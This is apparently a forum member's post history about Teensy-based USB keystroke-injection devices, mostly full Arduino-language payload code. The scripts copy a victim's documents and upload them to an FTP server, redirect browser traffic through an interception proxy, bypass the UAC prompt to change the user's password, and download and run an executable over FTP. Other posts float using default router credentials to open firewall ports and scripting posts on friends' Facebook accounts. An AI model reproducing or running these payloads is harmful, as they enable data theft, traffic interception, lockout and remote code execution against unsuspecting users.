Jump to content

benownzu93

Active Members
  • Posts

    48
  • Joined

  • Last visited

Everything posted by benownzu93

  1. Nah I Was wrong by the time you get it past the first icon it is back again.
  2. Won't the mouse still move a bit, the user will kinda fight with it.
  3. yeah i know, but long delays let you see it working, it's better for testing it. i also want to make it move the window off the side of the screen. i'll have a play about when i get home.
  4. No it will lock it 5 seconds after it starts to paste the files
  5. Bit of a messy code, but the idea of this payload is that it will take the users document and upload them to an ftp server, this could take a while depending on speed and size. it also lock the work station once it starts. void setup(){ delay(6000); run("documents"); delay(2500); ctrla(); delay(100); ctrlc(); delay(100); tab(); tab(); space(); delay(200); echo("ftp://192.168.0.8"); //ftp server enter(); delay(2000); echo("ducky");//username tab(); echo("quack");//password enter(); delay(200); tab(); tab(); tab(); tab(); space(); delay(1000); ctrlv(); delay(5000); run("rundll32.exe user32.dll, LockWorkStation ");//lock workstation } void loop(){ } void run(char *command){ Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_R); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(700); Keyboard.print(command); delay(300); enter(); delay(300); } void enter(){ Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void ctrla(){ Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.set_key1(KEY_A); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.set_modifier(0); Keyboard.send_now(); } void ctrlc(){ Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.set_key1(KEY_C); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.set_modifier(0); Keyboard.send_now(); } void ctrlv(){ Keyboard.set_modifier(MODIFIERKEY_CTRL); Keyboard.set_key1(KEY_V); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.set_modifier(0); Keyboard.send_now(); } void tab(){ Keyboard.set_key1(KEY_TAB); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void echo(char *text){ Keyboard.print(text); delay(100); } void space(){ Keyboard.set_key1(KEY_SPACE); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } Tested on Windows 7 should work on vista. Could work on xp with a little edit.
  6. Everyone like blinking lights :P, I was playing about with the keyboard LED's and I found that the mouse doesn't work for about half a second after you press the lock keys. I used Num Lock for this, because Caps lock would kinda mess up the typing. void setup(){} void loop(){ numlock(); delay(500); } void numlock(){ Keyboard.set_key1(KEY_NUM_LOCK); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } let me know what you think. --Edit-- just tried it in my XP box and it doesn't work. So IDK what systems it will work for
  7. okay, it may be useful to send someone's internet traffic thought a proxy so that you can see there web traffic os something like that. so wrote this to change the computers proxy settings, this one works for IE and Chrome when i get some time i will change it to work for firefox. void setup(){ delay(9000); run("inetcpl.cpl");//internet options delay(500); sifttab(1);//move to tabs right(4);//move to connections tab sifttab(3);//move to lan settings enter();//open lan settings delay(500); tab(2);//Proxy tick box space();//tick proxy tick box tab(1);//proxy address box echo("192.168.0.2");//type proxy address tab(1);//prot box echo("8080");//type port tab(3);//move to ok enter();//exit lan settings tab(1);//move to ok enter();//exit internet options } void loop(){ digitalWrite(PIN_D6, LOW);//LED OFF delay(500); digitalWrite(PIN_D6, HIGH);//LED ON delay(500); } void enter(){ Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void run(char *command){ Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_R); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(300); Keyboard.print(command); delay(300); enter(); delay(300); } void echo(char *text){ Keyboard.print(text); delay(100); } void tab(int count){ int i; for (int i = 0; i <count; i++) { Keyboard.set_key1(KEY_TAB); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } } void sifttab(int count){ int i; for (int i = 0; i <count; i++) { Keyboard.set_modifier(MODIFIERKEY_SHIFT); Keyboard.set_key1(KEY_TAB); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); } } void right(int count){ int i; for (int i = 0; i <count; i++) { Keyboard.set_key1(KEY_RIGHT); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } } void space(){ Keyboard.set_key1(KEY_SPACE); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); }
  8. I totally agree with you, thanks Darren :D
  9. just tried it and it dose not work, when you exit the search the text box is no longer selected. --Edit-- Im using chrome
  10. I just found that same problem with a couple if event invites. could use www.facebook.com/share.php but you need to give it a url to share but on the plus side the page will always be the same. --Edit-- there is also http://touch.facebook.com might work, but it won't load for me :(
  11. TAB + SPACE doesn't work for me, i'm using chrome. You can send TAB six times to get to the status box on m.facebook.com . I used this in a vbs script a while back, i have some dumb friends that will open anything :P
  12. Wow they are quite similar, you could add the enter line to the echo section scene as it is at the end of each echo.
  13. That's quite cool, I will try it later off to bed soon I think. @psychosis what system are you using?
  14. Ok it is a bit basic I know but this is what i came up with. I have started cmd form the start menu so that it can be run as admin. i searches for cmd then sends ctrl+shift+enter to run as admin. after that it sends left and enter to accept the UAC Box. after this i changes the password using the net user command. it works :D bit slow need to sort out the timings also if someone know how to run cmd as admin for a run box could you please tell me void setup() { delay(7000); cmd(); delay(4000); uac(); delay(1000); Keyboard.print("net user %username% *"); enter(); delay(100); Keyboard.print("lamepassword"); enter(); delay(100); Keyboard.print("lamepassword"); enter(); delay(100); Keyboard.print("exit"); enter(); } void loop() { digitalWrite(PIN_D6, LOW); // LED on delay(random(1000)); // Slow blink digitalWrite(PIN_D6, HIGH); // LED off delay(random(1000)); } void cmd(){ Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.send_now(); Keyboard.print("cmd"); delay(700); Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(100); } void uac(){ Keyboard.set_key1(KEY_LEFT); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); enter(); } void enter(){ Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); }
  15. I have been working on FTP needs a little changing for upload and binary/ascii, I have had a few problems with my ftp server but it should work. ohhh btw i'm working in the arduino language void setup() { delay(7000); run(); delay(500); Keyboard.print("cmd"); enter(); delay(500); Keyboard.print("ftp"); enter(); delay(500); Keyboard.print("o 192.168.0.8"); enter(); delay(500); Keyboard.print("test"); enter(); delay(500); Keyboard.print("lamepassword"); enter(); delay(10); Keyboard.print("get payload.exe"); enter(); delay(5000); Keyboard.print("quit"); enter(); delay(10); Keyboard.print("payload.exe"); enter(); } void loop() { digitalWrite(PIN_D6, LOW); // LED on delay(1000); // Slow blink digitalWrite(PIN_D6, HIGH); // LED off delay(1000); } void enter(){ Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } void run(){ // run dialog - win+r Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_R); Keyboard.send_now(); // release keys Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now(); delay(100); }
  16. That is a good point. But it will work if you know what targets set up is. so this idea is not totally useless but very impractical.
  17. Although there are lots of different routers brands use the same settings so there would be only a few variations on the payload.
  18. Most people leave the router settings as default. So Would it be possible to open the browser, send something like 192.168.0.1 or whatever the default IP is. Login using the default user name and password. Then change some settings like open some ports on the firewall to allow you access to the network over the internet.
  19. This page should covers making it in to a storage controller http://elasticsheep.com/2010/04/teensy2-usb-mass-storage-with-an-sd-card/ ://http://elasticsheep.com/2010/04/tee...th-an-sd-card/ I have no idea if it will still work as a HID once you do this.
  20. There are some awesome laptops from acer but I can't think of anything with an i5 or i7 and 1920x1080
  21. I Spent ages looking for the best one a while back, i would say this is it.
  22. If I get I ducky I will be able to use it as one of my 3 projects to get me it to university, I have to do a project on programming in c, c# or c++. Should be a awesome project.
×
×
  • Create New...